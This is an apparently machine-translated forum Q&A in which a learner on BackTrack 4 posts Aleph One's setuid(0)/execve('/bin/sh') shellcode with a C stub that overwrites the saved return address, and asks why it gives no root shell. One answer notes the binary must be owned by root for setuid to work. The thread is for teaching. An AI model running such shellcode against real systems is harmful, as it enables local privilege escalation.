我有这个代码......道德黑客

Question

我正在关注这本关于道德黑客的电子书,我到了Linux Exploit Chapter,这是Aleph的1代码的代码.

//shellcode.c

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return

    //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the

    //address of the shellcode, so it executes.

}

我给这个超级用户权限,用

chmod u+s shellcode

作为超级用户,然后回到普通用户

su - normal_user

但是当我运行时./shellcode我应该是root用户但是我仍然是normal_user所以任何帮助？顺便说一句,我正在研究BT4-Final,我关闭了ASLR,并在VMWare中运行BT4 ......

Answer 1

如果这是一个旧的漏洞利用......它不应该早就解决了吗？

顺便说一下,作为一个个人建议:不要吝啬使用这个昵称,然后四处询问漏洞.

Answer 2

shellcoderoot 是否拥有可执行文件？setuid位(u + s)使可执行文件以其所有者的权限运行,该所有者不一定是root用户.